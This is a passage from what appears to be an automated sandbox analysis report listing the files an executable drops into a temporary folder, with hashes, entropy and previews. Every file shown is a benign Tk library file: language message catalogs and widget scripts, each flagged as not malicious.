Preview:	## Messages for the Greek (Hellenic - "el") language..## Please report any changes/suggestions to:.## petasis@iit.demokritos.gr..namespace eval ::tk {. ::msgcat::mcset el "&Abort" "\u03a4\u03b5\u03c1\u03bc\u03b1\u03c4\u03b9\u03c3\u03bc\u03cc\u03c2". ::msgcat::mcset el "About..." "\u03a3\u03c7\u03b5\u03c4\u03b9\u03ba\u03ac...". ::msgcat::mcset el "All Files" "\u038c\u03bb\u03b1 \u03c4\u03b1 \u0391\u03c1\u03c7\u03b5\u03af\u03b1". ::msgcat::mcset el "Application Error" "\u039b\u03ac\u03b8\u03bf\u03c2 \u0395\u03c6\u03b1\u03c1\u03bc\u03bf\u03b3\u03ae\u03c2". ::msgcat::mcset el "&Blue" "\u039c\u03c0\u03bb\u03b5". ::msgcat::mcset el "&Cancel" "\u0391\u03ba\u03cd\u03c1\u03c9\u03c3\u03b7". ::msgcat::mcset el \."Cannot change to the directory \"%1\$s\".\nPermission denied." \."\u0394\u03b5\u03bd \u03b5\u03af\u03bd\u03b1\u03b9 \u03b4\u03c5\u03bd\u03b1\u03c4\u03ae \u03b7 \u03b1\u03bb\u03bb\u03b1\u03b3\u03ae \u03ba\u

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\msgs\en.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2793
Entropy (8bit):	4.232798253032259
Encrypted:	false
SSDEEP:	24:sqH4qCtvLPgyqL+1ylnJzqFJHNaXSxFF4RTDuurIlnB:dYJtDPgDjnwIXSZ4RTDuTlB
MD5:	BEE15DD39FA7291FA7CCBC2171BFA885
SHA1:	3E6327758BA97EF3C27527AD7FADCD5252EB297B
SHA-256:	B8158342926DA30F6D52AEAF5C61F68866674DA22D511770EB2C1685634A34BD
SHA-512:	C9F13FF19011D7331EB3AED0EAB7B10F25CCACEC1AFB3C943F960033A8EF63819C956B02BEAF674BC6669810691DB14D155E4020C48889315711DA53A8624424
Malicious:	false
Reputation:	unknown
Preview:	namespace eval ::tk {. ::msgcat::mcset en "&Abort". ::msgcat::mcset en "&About...". ::msgcat::mcset en "All Files". ::msgcat::mcset en "Application Error". ::msgcat::mcset en "&Blue". ::msgcat::mcset en "&Cancel". ::msgcat::mcset en "Cannot change to the directory \"%1\$s\".\nPermission denied.". ::msgcat::mcset en "Choose Directory". ::msgcat::mcset en "Cl&ear". ::msgcat::mcset en "&Clear Console". ::msgcat::mcset en "Color". ::msgcat::mcset en "Console". ::msgcat::mcset en "&Copy". ::msgcat::mcset en "Cu&t". ::msgcat::mcset en "&Delete". ::msgcat::mcset en "Details >>". ::msgcat::mcset en "Directory \"%1\$s\" does not exist.". ::msgcat::mcset en "&Directory:". ::msgcat::mcset en "&Edit". ::msgcat::mcset en "Error: %1\$s". ::msgcat::mcset en "E&xit". ::msgcat::mcset en "&File". ::msgcat::mcset en "File \"%1\$s\" already exists.\nDo you want to overwrite it?". ::msgcat::mcset en "File \"%1\$s\" already exists.\n\n"

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\msgs\en_gb.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	63
Entropy (8bit):	4.185724027617087
Encrypted:	false
SSDEEP:	3:fEGp6fR1FAGoW8vMKEQXK:sooLoQO6
MD5:	EC6A7E69AB0B8B767367DB54CC0499A8
SHA1:	6C2D6B622429AB8C17E07C2E0F546469823ABE57
SHA-256:	FB93D455A9D9CF3F822C968DFB273ED931E433F2494D71D6B5F8D83DDE7EACC2
SHA-512:	72077EAB988979EB2EE292ACDB72537172A5E96B4262CE7278B76F0FEBD7E850D18221DB551D1DE3C6EB520985B5E9642936BEEB66032F920593276784525702
Malicious:	false
Reputation:	unknown
Preview:	namespace eval ::tk {. ::msgcat::mcset en_gb Color Colour.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\msgs\eo.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3845
Entropy (8bit):	4.560432766214962
Encrypted:	false
SSDEEP:	48:9714EhrzeUv0xrFf+/eR0Mqp+cIFIXd/JcrtCcuUc6Sq4Pe:97148efrF2GSMqgcIFIXdhAene
MD5:	AD6C8299D63C606F46B91E55E923020A
SHA1:	4E5EEF89C33B152661C7D5D74BBE54AE3C215CC8
SHA-256:	ED651A2C8EEA8B373AF753C35EC7DFD91A284F2CAFCA8697985C83676D382E8B
SHA-512:	F3770BB399E4EA5FC28F1A39BA850A8DACC3FB8F7661BD99F3D43F3BD5548C12E5C409840CD29256EFD40C282B614E0A76E0061C8F11EFFC6828574FEBD70D21
Malicious:	false
Reputation:	unknown
Preview:	namespace eval ::tk {. ::msgcat::mcset eo "&Abort" "&\u0108esigo". ::msgcat::mcset eo "&About..." "Pri...". ::msgcat::mcset eo "All Files" "\u0108ioj dosieroj". ::msgcat::mcset eo "Application Error" "Aplikoerraro". ::msgcat::mcset eo "&Blue" "&Blua". ::msgcat::mcset eo "&Cancel" "&Rezignu". ::msgcat::mcset eo "Cannot change to the directory \"%1\$s\".\nPermission denied." "Neeble \u0109angi al dosierulon \"%1\$s\".\nVi ne rajtas tion.". ::msgcat::mcset eo "Choose Directory" "Elektu Dosierujo". ::msgcat::mcset eo "&Clear" "&Klaru". ::msgcat::mcset eo "&Clear Console" "&Klaru konzolon". ::msgcat::mcset eo "Color" "Farbo". ::msgcat::mcset eo "Console" "Konzolo". ::msgcat::mcset eo "&Copy" "&Kopiu". ::msgcat::mcset eo "Cu&t" "&Enpo\u015digu". ::msgcat::mcset eo "&Delete" "&Forprenu". ::msgcat::mcset eo "Details >>" "Detaloj >>". ::msgcat::mcset eo "Directory \"%1\$s\" does not exist." "La dosierujo \"%1\$s\" ne ekzistas.". ::msgcat::mc

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\msgs\es.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3924
Entropy (8bit):	4.499108281229709
Encrypted:	false
SSDEEP:	48:vTE1U2XR5GiWXirZe0uoH0KQyTaBi2DcDmQ/jY33lEzTCyfv:volXgFHyGB3ELxDH
MD5:	4C1B749AC7182F4F4AE0B1D17356BDE0
SHA1:	1843D238DEC98DEC543FE2AF8C392CD461DD0A72
SHA-256:	F9D5D6C76D7AF1431C332186CB9FABB2F47A98E8A970265DF312222BA6F59C0A
SHA-512:	610C4C4C26B750171304B34BA3BE501B9F2CFC252CEB40A1FA181A3087C07D6741106609A77A32BD3EFB8FF4F548852022FEF4B77159E2F01B4202E6BCC995AF
Malicious:	false
Reputation:	unknown
Preview:	namespace eval ::tk {. ::msgcat::mcset es "&Abort" "&Abortar". ::msgcat::mcset es "&About..." "&Acerca de ...". ::msgcat::mcset es "All Files" "Todos los archivos" . ::msgcat::mcset es "Application Error" "Error de la aplicaci\u00f3n". ::msgcat::mcset es "&Blue" "&Azul". ::msgcat::mcset es "&Cancel" "&Cancelar". ::msgcat::mcset es "Cannot change to the directory \"%1\$s\".\nPermission denied." "No es posible acceder al directorio \"%1\$s\".\nPermiso denegado.". ::msgcat::mcset es "Choose Directory" "Elegir directorio". ::msgcat::mcset es "Cl&ear" "&Borrar". ::msgcat::mcset es "&Clear Console" "&Borrar consola". ::msgcat::mcset es "Color" "Color". ::msgcat::mcset es "Console" "Consola". ::msgcat::mcset es "&Copy" "&Copiar". ::msgcat::mcset es "Cu&t" "Cor&tar". ::msgcat::mcset es "&Delete" "&Borrar". ::msgcat::mcset es "Details >>" "Detalles >>". ::msgcat::mcset es "Directory \"%1\$s\" does not exist." "El directorio \"%1\$s\" no existe.

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\msgs\fr.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3727
Entropy (8bit):	4.582588432323347
Encrypted:	false
SSDEEP:	48:fkErYNxfhFBqFHjApxKSOzbgRujzSAEFlBGr3jd:fkErYLpaV0KSHtXcN
MD5:	2C904D110BA900583A86838AE264438C
SHA1:	CC7C444BDA43FD5EBE0B00F68BAD42E7DFB816C2
SHA-256:	E7BA2F7A95679695504164C92B86B92AB5F7D08DCF34029E391C1683AC9FF5F3
SHA-512:	B6FBB18C061EC990BCD3120D80A0A5794B4935FFF9EE6CBF5FD231BFD0C0F1772620E11877C91D34F7FA8C5FEE71BD15C3330017C437F4DE66751D97D8BB7208
Malicious:	false
Reputation:	unknown
Preview:	namespace eval ::tk {. ::msgcat::mcset fr "&Abort" "&Annuler". ::msgcat::mcset fr "About..." "\u00c0 propos...". ::msgcat::mcset fr "All Files" "Tous les fichiers". ::msgcat::mcset fr "Application Error" "Erreur d'application". ::msgcat::mcset fr "&Blue" "&Bleu". ::msgcat::mcset fr "&Cancel" "&Annuler". ::msgcat::mcset fr "Cannot change to the directory \"%1\$s\".\nPermission denied." "Impossible d'acc\u00e9der au r\u00e9pertoire \"%1\$s\".\nPermission refus\u00e9e.". ::msgcat::mcset fr "Choose Directory" "Choisir r\u00e9pertoire". ::msgcat::mcset fr "Clear" "Effacer". ::msgcat::mcset fr "Color" "Couleur". ::msgcat::mcset fr "Console". ::msgcat::mcset fr "Copy" "Copier". ::msgcat::mcset fr "Cut" "Couper". ::msgcat::mcset fr "Delete" "Effacer". ::msgcat::mcset fr "Details >>" "D\u00e9tails >>". ::msgcat::mcset fr "Directory \"%1\$s\" does not exist." "Le r\u00e9pertoire \"%1\$s\" n'existe pas.". ::msgcat::mcset fr "&Directory:" "&R\u00e

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\msgs\hu.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4588
Entropy (8bit):	4.764869147275923
Encrypted:	false
SSDEEP:	96:GwCzxSy0Kt9C81m/HSzVqUaJf9q/x5a/mETsN:G31RCx/4vZM+EA
MD5:	7045E373D8E5A7D379AF004C5616313B
SHA1:	16D7B17FBF71234989BF356655D6D43C271A020F
SHA-256:	76453FEC72C59FD85648036B5B9FC983D7279CEC5818295E0451CF83CF7D264F
SHA-512:	F260A7D61E17ECDF52F6C36E4BBA3F881079490CDB3DCA380CE34D0012B98F9FA96550557BC6BCE267594CCD9BB63A94F45C329B25FF66144223833A5A79EB0D
Malicious:	false
Reputation:	unknown
Preview:	namespace eval ::tk {. ::msgcat::mcset hu "&Abort" "&Megszak\u00edt\u00e1s". ::msgcat::mcset hu "About..." "N\u00e9vjegy...". ::msgcat::mcset hu "All Files" "Minden f\u00e1jl". ::msgcat::mcset hu "All Files () " "Minden f\u00e1jl () ". ::msgcat::mcset hu "Application Error" "Alkalmaz\u00e1s hiba". ::msgcat::mcset hu "&Blue" "&K\u00e9k". ::msgcat::mcset hu "&Cancel" "M\u00e9g&sem". ::msgcat::mcset hu "Cannot change to the directory \"%1\$s\".\nPermission denied." "A k\u00f6nyvt\u00e1rv\u00e1lt\u00e1s nem siker\u00fclt: \"%1\$s\".\nHozz\u00e1f\u00e9r\u00e9s megtagadva.". ::msgcat::mcset hu "Choose Directory" "K\u00f6nyvt\u00e1r kiv\u00e1laszt\u00e1sa". ::msgcat::mcset hu "Clear" "T\u00f6rl\u00e9s". ::msgcat::mcset hu "&Clear Console" "&T\u00f6rl\u00e9s Konzol". ::msgcat::mcset hu "Color" "Sz\u00edn". ::msgcat::mcset hu "Console" "Konzol". ::msgcat::mcset hu "&Copy" "&M\u00e1sol\u00e1s". ::msgcat::mcset hu "Cu&t" "&Kiv\u00e1g\u00e1s". ::ms

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\msgs\it.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3557
Entropy (8bit):	4.44160619394425
Encrypted:	false
SSDEEP:	48:rpcxYo3XRzvjbhWsHTTYTxDllvOr80nC2dnGHc839kUqg:9caodbhlHYTxDlcY0HpVg
MD5:	4396605B50C75E6F7FA1C3FBD6A42799
SHA1:	5ABC6C66208FF596F49A7C576EBB30D0773F1EA0
SHA-256:	2E0FA36F75B191A2FEE3331EC0215A68DD913D62C2680555C21008286150A58F
SHA-512:	74A25EE87C2E8AD6B37BA5B17CA4B31474D71E953E7E896AF90CCC6A49CA48F503D93771A8FB947351ECEDCC40A4B1EDDE01E278442195235105C617DC8F3CA1
Malicious:	false
Reputation:	unknown
Preview:	namespace eval ::tk {. ::msgcat::mcset it "&Abort" "&Interrompi". ::msgcat::mcset it "About..." "Informazioni...". ::msgcat::mcset it "All Files" "Tutti i file". ::msgcat::mcset it "Application Error" "Errore dell' applicazione". ::msgcat::mcset it "&Blue" "&Blu". ::msgcat::mcset it "&Cancel" "&Annulla". ::msgcat::mcset it "Cannot change to the directory \"%1\$s\".\nPermission denied." "Impossibile accedere alla directory \"%1\$s\".\nPermesso negato.". ::msgcat::mcset it "Choose Directory" "Scegli una directory". ::msgcat::mcset it "Clear" "Azzera". ::msgcat::mcset it "Color" "Colore". ::msgcat::mcset it "Console". ::msgcat::mcset it "Copy" "Copia". ::msgcat::mcset it "Cut" "Taglia". ::msgcat::mcset it "Delete" "Cancella". ::msgcat::mcset it "Details >>" "Dettagli >>". ::msgcat::mcset it "Directory \"%1\$s\" does not exist." "La directory \"%1\$s\" non esiste.". ::msgcat::mcset it "&Directory:". ::msgcat::mcset it "Error: %1\$s" "Er

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\msgs\nl.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7095
Entropy (8bit):	4.65919646196926
Encrypted:	false
SSDEEP:	96:/TTnlMN3O70KFuQbL/Zs4g0GcNhHOx/bRHsa1EHL3YRYt:SRh3ILhsKQuLjt
MD5:	072E12F026647B15649ADB045847A5C2
SHA1:	1840B96A80AC1506B0510679EAB56FD799E7DCE1
SHA-256:	245A493CC77648861F3629286BDA153E2B6BF0E2499BB321FA7B18951F05BB7C
SHA-512:	D0E996662146BA431FDDE8DDD0DCC415240BAE2D66FB698AABBB6F40E9CC6B2E5298351B12BCBB187310A0F4B8B80B1BF84FFE186C9191334C66E71B2CB161E4
Malicious:	false
Reputation:	unknown
Preview:	namespace eval ::tk {. ::msgcat::mcset nl "\"%1\$s\" must be an absolute pathname" "\"%1\$s\" moet een absolute pad-naam zijn". ::msgcat::mcset nl "%1\$s is not a toplevel window" "%1\$s is geen toplevel window". ::msgcat::mcset nl ", or" ", of". ::msgcat::mcset nl "-default, -icon, -message, -parent, -title, or -type" "-default, -icon, -message, -parent, -title, of -type". ::msgcat::mcset nl "-initialdir, -mustexist, -parent, or -title" "-initialdir, -mustexist, -parent, of -title". ::msgcat::mcset nl "&Abort" "&Afbreken". ::msgcat::mcset nl "About..." "Over...". ::msgcat::mcset nl "All Files" "Alle Bestanden". ::msgcat::mcset nl "Application Error" "Toepassingsfout". ::msgcat::mcset nl "&Blue" "&Blauw". ::msgcat::mcset nl "&Cancel" "&Annuleren". ::msgcat::mcset nl "Cannot change to the directory \"%1\$s\".\nPermission denied." "Kan niet naar map \"%1\$s\" gaan.\nU heeft hiervoor geen toestemming.". ::msgcat::mcset nl "Choose Directory" "Kies map

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\msgs\pl.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3952
Entropy (8bit):	4.771874654651666
Encrypted:	false
SSDEEP:	48:mYkv1H+BBv5vVXnjB+y7oBUHHE3XQrDool2EQdWa0ybBhKG:zsH+3vLNnZHHE3XjoFYhL
MD5:	E28545F6A7B22EC237AE53C8F12A83C8
SHA1:	0BF3A4827B93D63934A099F935A484B9E101168E
SHA-256:	84F6D2498AA1438706BD9665918754275BE7FA0099CFB8A8601AE1F79915C6F0
SHA-512:	0B1FDE2B6412162361041745E288902800D72E6B1B0606B362047F0E7C9A39459660F6BB9AEA35D4CED7F225158BB0A944C2D81F731169253F6B456C9EFFFB49
Malicious:	false
Reputation:	unknown
Preview:	namespace eval ::tk {. ::msgcat::mcset pl "&Abort" "&Przerwij". ::msgcat::mcset pl "&About..." "O programie...". ::msgcat::mcset pl "All Files" "Wszystkie pliki". ::msgcat::mcset pl "Application Error" "B\u0142\u0105d w programie". ::msgcat::mcset pl "&Blue" "&Niebieski". ::msgcat::mcset pl "&Cancel" "&Anuluj". ::msgcat::mcset pl "Cannot change to the directory \"%1\$s\".\nPermission denied." "Nie mo\u017cna otworzy\u0107 katalogu \"%1\$s\".\nOdmowa dost\u0119pu.". ::msgcat::mcset pl "Choose Directory" "Wybierz katalog". ::msgcat::mcset pl "Cl&ear" "&Wyczy\u015b\u0107". ::msgcat::mcset pl "&Clear Console" "&Wyczy\u015b\u0107 konsol\u0119". ::msgcat::mcset pl "Color" "Kolor". ::msgcat::mcset pl "Console" "Konsola". ::msgcat::mcset pl "&Copy" "&Kopiuj". ::msgcat::mcset pl "Cu&t" "&Wytnij". ::msgcat::mcset pl "&Delete" "&Usu\u0144". ::msgcat::mcset pl "Details >>" "Szczeg\u00f3\u0142y >>". ::msgcat::mcset pl "Directory \"%1\$s\" does not

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\msgs\pt.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3973
Entropy (8bit):	4.677862734107109
Encrypted:	false
SSDEEP:	48:YmBmHHCnBbrvRjfgxtilIUkQIPlYwCC4x+hrmK1VZi:YmAncxVMtiXkPl2xomUQ
MD5:	1F04930642B3F4A9F16F11CC674B56A7
SHA1:	1AF829DD0A4175AF35DED50F530B4285F7A174FB
SHA-256:	611FE4FEB0FB3A8D7BADA328B6AF65C5BE9704DF334BCCD55B5E736EAA0A898F
SHA-512:	BCA4FF7F102C9AEE0BB306C5E8A34290AB7D3C7D9948809B8F31064BA5F20A7DE9EAE2D61201E602136A27B24BAEFB2C950F04AA766DA46C6025E79B1AF86DC3
Malicious:	false
Reputation:	unknown
Preview:	namespace eval ::tk {. ::msgcat::mcset pt_br "&Abort" "&Abortar". ::msgcat::mcset pt_br "About..." "Sobre ...". ::msgcat::mcset pt_br "All Files" "Todos os arquivos". ::msgcat::mcset pt_br "Application Error" "Erro de aplica\u00e7\u00e3o". ::msgcat::mcset pt_br "&Blue" "&Azul". ::msgcat::mcset pt_br "&Cancel" "&Cancelar". ::msgcat::mcset pt_br "Cannot change to the directory \"%1\$s\".\nPermission denied." "N\u00e3o foi poss\u00edvel mudar para o diret\u00f3rio \"%1\$s\".\nPermiss\u00e3o negada.". ::msgcat::mcset pt_br "Choose Directory" "Escolha um diret\u00f3rio". ::msgcat::mcset pt_br "Clear" "Apagar". ::msgcat::mcset pt_br "Color" "Cor". ::msgcat::mcset pt_br "Console" "Console". ::msgcat::mcset pt_br "Copy" "Copiar". ::msgcat::mcset pt_br "Cut" "Recortar". ::msgcat::mcset pt_br "Delete" "Excluir". ::msgcat::mcset pt_br "Details >>" "Detalhes >>". ::msgcat::mcset pt_br "Directory \"%1\$s\" does not exist." "O diret\u00f3rio \"%1\$s\"

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\msgs\ru.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7105
Entropy (8bit):	4.353661356769555
Encrypted:	false
SSDEEP:	96:NUEBGhT4YsVL3L7Pkhx2xSrw02lOzFAnxS/j49cD/qRjGSQvN8Nfo5hgV9aoTRZ/:grAPJGF8mq+WRKOGcRmRu
MD5:	202DC42C5DA0F0ACA88B1B4C30E5381B
SHA1:	9A7CC7AFBDF37C7937589E7F212ABC6E3F260D55
SHA-256:	45369C1C8853EE34C5B65C742C6AC3E03E1399E64C0958B5E4E4A927E8D30310
SHA-512:	DE6C9601010A51AAB380FD353849D91F47FFE9087DE524DA2DEBA30FF63EDF8C83FE471F8B9D733576B9732ABD881CD1D411BB1A04A0EC25CE8CFE08716C597E
Malicious:	false
Reputation:	unknown
Preview:	namespace eval ::tk {. ::msgcat::mcset ru "&Abort" "&\u041e\u0442\u043c\u0435\u043d\u0438\u0442\u044c". ::msgcat::mcset ru "About..." "\u041f\u0440\u043e...". ::msgcat::mcset ru "All Files" "\u0412\u0441\u0435 \u0444\u0430\u0439\u043b\u044b". ::msgcat::mcset ru "Application Error" "\u041e\u0448\u0438\u0431\u043a\u0430 \u0432 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0435". ::msgcat::mcset ru "&Blue" " &\u0413\u043e\u043b\u0443\u0431\u043e\u0439". ::msgcat::mcset ru "&Cancel" "\u041e\u0442&\u043c\u0435\u043d\u0430". ::msgcat::mcset ru "Cannot change to the directory \"%1\$s\".\nPermission denied." \...."\u041d\u0435 \u043c\u043e\u0433\u0443 \u043f\u0435\u0440\u0435\u0439\u0442\u0438 \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \"%1\$s\".\n\u041d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043f\u0440\u0430\u0432 \u0434\u043e\u0441\u0442\u0443\u043f\u0430". ::msgcat::mcset ru "Choose Directory" "\u0412\u044b\u0431\u0435\u0440\u0

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\msgs\sv.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3762
Entropy (8bit):	4.613765855030883
Encrypted:	false
SSDEEP:	48:g4H5cNWBJdE10M4/0Uli6z8XIxTB2iDxypdmmZbWxOt:F5cN6H0Uli9IxTEbQsb7t
MD5:	9835887AE45B8D5B57D0B8ACF303C4B3
SHA1:	DC26BF315FB83212983D2532BC2ABB26A4987F5A
SHA-256:	3965322893101F480693D45AD365D05CC31099CBE23F5A810C94E2E14D0B6D27
SHA-512:	23E5F222F598DFE26B7D341B6ECD4B0E2240B3B7776063E089DEE4409880398BBFAFF3BCF9A0E8F6CBDA3E66FD193B07C9255A6B2DFCBC7352943D100337E396
Malicious:	false
Reputation:	unknown
Preview:	namespace eval ::tk {. ::msgcat::mcset sv "&Abort" "&Avsluta". ::msgcat::mcset sv "&About..." "&Om...". ::msgcat::mcset sv "All Files" "Samtliga filer". ::msgcat::mcset sv "Application Error" "Programfel". ::msgcat::mcset sv "&Blue" "&Bl\u00e5". ::msgcat::mcset sv "&Cancel" "&Avbryt". ::msgcat::mcset sv "Cannot change to the directory \"%1\$s\".\nPermission denied." "Kan ej n\u00e5 mappen \"%1\$s\".\nSaknar r\u00e4ttigheter.". ::msgcat::mcset sv "Choose Directory" "V\u00e4lj mapp". ::msgcat::mcset sv "&Clear" "&Radera". ::msgcat::mcset sv "&Clear Console" "&Radera konsollen". ::msgcat::mcset sv "Color" "F\u00e4rg". ::msgcat::mcset sv "Console" "Konsoll". ::msgcat::mcset sv "&Copy" "&Kopiera". ::msgcat::mcset sv "Cu&t" "Klipp u&t". ::msgcat::mcset sv "&Delete" "&Radera". ::msgcat::mcset sv "Details >>" "Detaljer >>". ::msgcat::mcset sv "Directory \"%1\$s\" does not exist." "Mappen \"%1\$s\" finns ej.". ::msgcat::mcset sv "&Directory:

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\obsolete.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5594
Entropy (8bit):	4.9941618573215525
Encrypted:	false
SSDEEP:	96:oz4CrtmsXVwM3Er4VAEQ93NZB1o+IFF5ZYi4GUoLf33yLLddzA:oUCrtmsFREEs999o7FF5ZYi4GjLfS/d2
MD5:	7763C90F811620A6C1F0A36BAF9B89CA
SHA1:	30E24595DD683E470FE9F12814D27D6D266B511E
SHA-256:	F6929A5E0D18BC4C6666206C63AC4AAA66EDC4B9F456DFC083300CFA95A44BCD
SHA-512:	2E2887392C67D05EA85DB2E6BFD4AA27779BC82D3B607A7DD221A99EFF0D2A21A6BA47A4F2D2CDFC7CFECD7E93B2B38064C4D5A51406471AE142EC9CC71F5C48
Malicious:	false
Reputation:	unknown
Preview:	# obsolete.tcl --.#.# This file contains obsolete procedures that people really shouldn't.# be using anymore, but which are kept around for backward compatibility..#.# Copyright (c) 1994 The Regents of the University of California..# Copyright (c) 1994 Sun Microsystems, Inc..#.# See the file "license.terms" for information on usage and redistribution.# of this file, and for a DISCLAIMER OF ALL WARRANTIES..#..# The procedures below are here strictly for backward compatibility with.# Tk version 3.6 and earlier. The procedures are no longer needed, so.# they are no-ops. You should not use these procedures anymore, since.# they may be removed in some future release...proc tk_menuBar args {}.proc tk_bindForTraversal args {}..# ::tk::classic::restore --.#.# Restore the pre-8.5 (Tk classic) look as the widget defaults for classic.# Tk widgets..#.# The value following an 'option add' call is the new 8.5 value..#.namespace eval ::tk::classic {. # This may need to be adjusted for some windo

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\optMenu.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1586
Entropy (8bit):	4.733749898743743
Encrypted:	false
SSDEEP:	48:k2hguC4Zxk+Z0cIWR3afbR1EIC+KtVa+6WX13jZQl9:k6T9N3atqIkeS9FQD
MD5:	D17FE676A057F373B44C9197114F5A69
SHA1:	9745C83EEC8565602F8D74610424848009FFA670
SHA-256:	76DBDBF9216678D48D1640F8FD1E278E7140482E1CAC7680127A9A425CC61DEE
SHA-512:	FF7D9EB64D4367BB11C567E64837CB1DAAA9BE0C8A498CAD00BF63AF45C1826632BC3A09E65D6F51B26EBF2D07285802813ED55C5D697460FC95AF30A943EF8F
Malicious:	false
Reputation:	unknown
Preview:	# optMenu.tcl --.#.# This file defines the procedure tk_optionMenu, which creates.# an option button and its associated menu..#.# Copyright (c) 1994 The Regents of the University of California..# Copyright (c) 1994 Sun Microsystems, Inc..#.# See the file "license.terms" for information on usage and redistribution.# of this file, and for a DISCLAIMER OF ALL WARRANTIES..#..# ::tk_optionMenu --.# This procedure creates an option button named $w and an associated.# menu. Together they provide the functionality of Motif option menus:.# they can be used to select one of many values, and the current value.# appears in the global variable varName, as well as in the text of.# the option menubutton. The name of the menu is returned as the.# procedure's result, so that the caller can use it to change configuration.# options on the menu or otherwise manipulate it..#.# Arguments:.# w -...The name to use for the menubutton..# varName -..Global variable to hold the currently selected value..# first

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\palette.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7869
Entropy (8bit):	4.892883872925194
Encrypted:	false
SSDEEP:	192:ZUWLyUd51URCJWgWWWuWVWMKoDOdn6jLDlJymGH91QOWJCy3XZQRr:ZLFaCI3dFU3Pdn6P69WJor
MD5:	980BDB3834EF4B7673DA11F5ED215207
SHA1:	D1FBB465506C7AE7157939D901FC669555A1E7EB
SHA-256:	2757E39663269ED2A02F3A6E0599AD5F38D1EEF08082A4660F3C7AC2AAFF2317
SHA-512:	775E332863FC269E7802D885101069F4765DB90A601F866688E5424E9B3A695CEB023DE354BFF44294F72B034D1DE8924160ADEA0C13EC24427424E67DCF7CF8
Malicious:	false
Reputation:	unknown
Preview:	# palette.tcl --.#.# This file contains procedures that change the color palette used.# by Tk..#.# Copyright (c) 1995-1997 Sun Microsystems, Inc..#.# See the file "license.terms" for information on usage and redistribution.# of this file, and for a DISCLAIMER OF ALL WARRANTIES..#..# ::tk_setPalette --.# Changes the default color scheme for a Tk application by setting.# default colors in the option database and by modifying all of the.# color options for existing widgets that have the default value..#.# Arguments:.# The arguments consist of either a single color name, which.# will be used as the new background color (all other colors will.# be computed from this) or an even number of values consisting of.# option names and values. The name for an option is the one used.# for the option database, such as activeForeground, not -activeforeground...proc ::tk_setPalette {args} {. if {[winfo depth .] == 1} {..# Just return on monochrome displays, otherwise errors will occur..return. }.

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\panedwindow.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5176
Entropy (8bit):	4.933519639131517
Encrypted:	false
SSDEEP:	96:PmpWHrga3awUrH6kdX3pBz6tkm71cHXYV23EmkiYlgfY8:+pWHrP36r6kJ3pBetkm6HXVUmPYlgfY8
MD5:	2DA0A23CC9D6FD970FE00915EA39D8A2
SHA1:	DFE3DC663C19E9A50526A513043D2393869D8F90
SHA-256:	4ADF738B17691489C71C4B9D9A64B12961ADA8667B81856F7ADBC61DFFEADF29
SHA-512:	B458F3D391DF9522D4E7EAE8640AF308B4209CE0D64FD490BFC0177FDE970192295C1EA7229CE36D14FC3E582C7649460B8B7B0214E0FF5629B2B430A99307D4
Malicious:	false
Reputation:	unknown
